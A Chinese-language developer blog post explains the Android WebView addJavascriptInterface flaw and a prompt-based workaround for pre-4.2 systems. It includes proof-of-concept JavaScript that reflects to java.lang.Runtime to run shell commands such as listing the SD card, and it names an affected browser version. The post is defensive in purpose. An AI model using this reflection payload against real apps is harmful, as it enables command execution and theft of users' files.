Android WebView的Js對象注入漏洞解決方案

最近在做一個項目過程中,發現了一個很嚴重的安全漏洞,這個漏洞是烏云平臺(http://www.wooyun.org)報告出來的。

1,使用場景

我們很多時候要使用WebView來展示一個網頁,現在很多應用為了做到服務端可控,很多結果頁都是網頁的,而不是本地實現,這樣做有很多好處,比如界面的改變不需要重新發布新版本,直接在Server端修改就行了。用網頁來展示界面,通常情況下都或多或少都與Java代碼有交互,比如點擊網頁上面的一個按鈕,我們需要知道這個按鈕點擊事件,或者我們要調用某個方法,讓頁面執行某種動作,為了實現這些交互,我們通常都是使用JS來實現,而WebView已經提供了這樣的方法,具體用法如下:

[java]view plaincopy

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");

我們向WebView注冊一個名叫“jsInterface”的對象,然后在JS中可以訪問到jsInterface這個對象,就可以調用這個對象的一些方法,最終可以調用到Java代碼中,從而實現了JS與Java代碼的交互。

我們一起來看看關于addJavascriptInterface方法在Android官網的描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API levelJELLY_BEANor below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.

JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.

The Java object's fields are not accessible.

簡單地說,就是用addJavascriptInterface可能導致不安全,因為JS可能包含惡意代碼。今天我們要說的這個漏洞就是這個,當JS包含惡意代碼時,它可以干任何事情。

2,漏洞描述

通過JavaScript,可以訪問當前設備的SD卡上面的任何東西,甚至是聯系人信息,短信等。這很惡心吧,嘎嘎。好,我們一起來看看是怎么出現這樣的錯誤的。可以去看看烏云平臺上的這個bug描述:猛點這里

1,WebView添加了JavaScript對象,并且當前應用具有讀寫SDCard的權限,也就是:android.permission.WRITE_EXTERNAL_STORAGE

2,JS中可以遍歷window對象,找到存在“getClass”方法的對象的對象,然后再通過反射的機制,得到Runtime對象,然后調用靜態方法來執行一些命令,比如訪問文件的命令.

3,再從執行命令后返回的輸入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危險。核心JS代碼如下:

[javascript]view plaincopy

functionexecute(cmdArgs)

{

for(varobjinwindow)?{

if("getClass"inwindow[obj])?{

alert(obj);

returnwindow[obj].getClass().forName("java.lang.Runtime")

.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}}}


3,漏洞證明

舉例一:為了證明這個漏洞,寫了一個demo來說明。我就只是加載一個包含惡意JS代碼的本地網頁,HTML其代碼如下:

[html]view plaincopy

vari=0;

function?getContents(inputStream)

{

varcontents=""+i;

varb=inputStream.read();

vari=1;

while(b?!=?-1)?{

varbString=String.fromCharCode(b);

contents?+=?bString;

contents?+=?"\n"

b=inputStream.read();

}

i=i+1;

return?contents;

}

function?execute(cmdArgs)

{

for?(var?obj?in?window)?{

console.log(obj);

if?("getClass"?in?window[obj])?{

alert(obj);

return?window[obj].getClass().forName("java.lang.Runtime").

getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

}

}

varp=execute(["ls","/mnt/sdcard/"]);

document.write(getContents(p.getInputStream()));

function?onButtonClick()

{

//?Call?the?method?of?injected?object?from?Android?source.

vartext=jsInterface.onButtonClick("從JS中傳遞過來的文本!!!");

alert(text);

}

function?onImageClick()

{

//Call?the?method?of?injected?object?from?Android?source.

varsrc=document.getElementById("image").src;

varwidth=document.getElementById("image").width;

varheight=document.getElementById("image").height;

//?Call?the?method?of?injected?object?from?Android?source.

jsInterface.onImageClick(src,?width,?height);

}

點擊圖片把URL傳到Java代碼

onclick="onImageClick()"

width="328"

height="185"

src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"

onerror="this.src='background_chl.jpg'"/>

與Java代碼交互

這段HTML的運行效果如下:

圖一:期望運行結果圖

上圖中,點擊按鈕后,JS中傳遞 一段文本到Java代碼,顯示一下個toast,點擊圖片后,把圖片的URL,width,height傳到Java層,也用toast顯示出來。

要實現這樣的功能,就需要注Java對象。

簡單說明一下

1,請看execute()這個方法,它遍歷所有window的對象,然后找到包含getClass方法的對象,利用這個對象的類,找到java.lang.Runtime對象,然后調用“getRuntime”靜態方法方法得到Runtime的實例,再調用exec()方法來執行某段命令。

2,getContents()方法,從流中讀取內容,顯示在界面上。

3,關鍵的代碼就是以下兩句

[javascript]view plaincopy

returnwindow[obj].getClass().forName("java.lang.Runtime").

getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

Java代碼實現如下:

[java]view plaincopy

mWebView?=?(WebView)?findViewById(R.id.webview);

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");

mWebView.loadUrl("file:///android_asset/html/test.html");

需要添加的權限:

[html]view plaincopy

當點擊LOAD菜單后,運行截圖如下:(理論上應該出現圖一界面)

圖二:實際運行結果,列出了SDCard中的文件

舉例二:360瀏覽器也存在這個問題,我測試的系統是android 4.0.2,360瀏覽器版本是:4.8.7

在瀏覽器輸入框中輸入:http://bitkiller.duapp.com/jsobj.html,然后前往,它會出現如下的界面

圖三:360瀏覽器運行結果

說明:其中searchBoxJavaBridge_不是360注入的對象,而是WebView內部注入的,這是在3.0以后的Android系統上添加的。

在關閉這個對話框之后,它會列出當前SDCard上面的所有文件列表,如下圖所示

圖四:錯誤結果

4,解決方案

1,Android 4.2以上的系統

在Android 4.2以上的,google作了修正,通過在Java的遠程方法上面聲明一個@JavascriptInterface,如下面代碼:

[java]view plaincopy

classJsObject?{

@JavascriptInterface

publicString?toString()?{return"injectedObject";?}

}

webView.addJavascriptInterface(newJsObject(),"injectedObject");

webView.loadData("","text/html",null);

webView.loadUrl("javascript:alert(injectedObject.toString())");

2,Android 4.2以下的系統

這個問題比較難解決,但也不是不能解決。

首先,我們肯定不能再調用addJavascriptInterface方法了。關于這個問題,最核心的就是要知道JS事件這一個動作,JS與Java進行交互我們知道,有以下幾種,比prompt, alert等,這樣的動作都會對應到WebChromeClient類中相應的方法,對于prompt,它對應的方法是onJsPrompt方法,這個方法的聲明如下:

[java]view plaincopy

publicbooleanonJsPrompt(WebView?view,?String?url,?String?message,

String?defaultValue,?JsPromptResult?result)

通過這個方法,JS能把信息(文本)傳遞到Java,而Java也能把信息(文本)傳遞到JS中,通知這個思路我們能不能找到解決方案呢?

經過一番嘗試與分析,找到一種比較可行的方案,請看下面幾個小點:

【1】讓JS調用一個Javascript方法,這個方法中是調用prompt方法,通過prompt把JS中的信息傳遞過來,這些信息應該是我們組合成的一段有意義的文本,可能包含:特定標識,方法名稱,參數等。在onJsPrompt方法中,我們去解析傳遞過來的文本,得到方法名,參數等,再通過反射機制,調用指定的方法,從而調用到Java對象的方法。

【2】關于返回值,可以通過prompt返回回去,這樣就可以把Java中方法的處理結果返回到Js中。

【3】我們需要動態生成一段聲明Javascript方法的JS腳本,通過loadUrl來加載它,從而注冊到html頁面中,具體的代碼如下:

[javascript]view plaincopy

javascript:(functionJsAddJavascriptInterface_(){

if(typeof(window.jsInterface)!='undefined')?{

console.log('window.jsInterface_js_interface_name?is?exist!!');}

else{

window.jsInterface?=?{

onButtonClick:function(arg0)?{

returnprompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));

},

onImageClick:function(arg0,arg1,arg2)?{

prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));

},

};

}

}

)()

說明:

1,上面代碼中的jsInterface就是要注冊的對象名,它注冊了兩個方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。

2,prompt中是我們約定的字符串,它包含特定的標識符MyApp:,后面包含了一串JSON字符串,它包含了方法名,參數,對象名等。

3,當JS調用onButtonClick或onImageClick時,就會回調到Java層中的onJsPrompt方法,我們再解析出方法名,參數,對象名,再反射調用方法。

4,window.jsInterface這表示在window上聲明了一個Js對象,聲明方法的形式是:方法名:function(參數1,參數2)

5,一些思考

以下是在實現這個解決方案過程中遇到的一些問題和思考:

【1】生成Js方法后,加載這段Js的時機是什么?

剛開始時在當WebView正常加載URL后去加載Js,但發現會存在問題,如果當WebView跳轉到下一個頁面時,之前加載的Js就可能無效了,所以需要再次加載。這個問題經過嘗試,需要在以下幾個方法中加載Js,它們是WebChromeClient和WebViewClient的方法:

onLoadResource

doUpdateVisitedHistory

onPageStarted

onPageFinished

onReceivedTitle

onProgressChanged

目前測試了這幾個地方,沒什么問題,這里我也不能完全確保沒有問題。

【2】需要過濾掉Object類的方法

由于通過反射的形式來得到指定對象的方法,他會把基類的方法也會得到,最頂層的基類就是Object,所以我們為了不把getClass方法注入到Js中,所以我們需要把Object的公有方法過濾掉。這里嚴格說來,應該有一個需要過濾方法的列表。目前我的實現中,需要過濾的方法有:

"getClass",

"hashCode",

"notify",

"notifyAll",

"equals",

"toString",

"wait",

【3】通過手動loadUrl來加載一段js,這種方式難道js中的對象就不在window中嗎?也就是說,通過遍歷window的對象,不能找到我們通過loadUrl注入的js對象嗎?

關于這個問題,我們的方法是通過Js聲明的,通過loadUrl的形式來注入到頁面中,其實本質相當于把我們這動態生成的這一段Js直接寫在Html頁面中,所以,這些Js中的window中雖然包含了我們聲明的對象,但是他們并不是Java對象,他們是通過Js語法聲明的,所以不存在getClass之類的方法。本質上他們是Js對象。

【4】在Android 3.0以下,系統自己添加了一個叫searchBoxJavaBridge_的Js接口,要解決這個安全問題,我們也需要把這個接口刪除,調用removeJavascriptInterface方法。這個searchBoxJavaBridge_好像是跟google的搜索框相關的。

【5】在實現過程中,我們需要判斷系統版本是否在4.2以下,因為在4.2以上,Android修復了這個安全問題。我們只是需要針對4.2以下的系統作修復。

源碼下載

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,578評論 6 544
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,701評論 3 429
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,691評論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,974評論 1 318
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,694評論 6 413
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 56,026評論 1 329
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 44,015評論 3 450
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 43,193評論 0 290
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,719評論 1 336
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,442評論 3 360
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,668評論 1 374
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,151評論 5 365
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,846評論 3 351
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,255評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,592評論 1 295
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,394評論 3 400
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,635評論 2 380

推薦閱讀更多精彩內容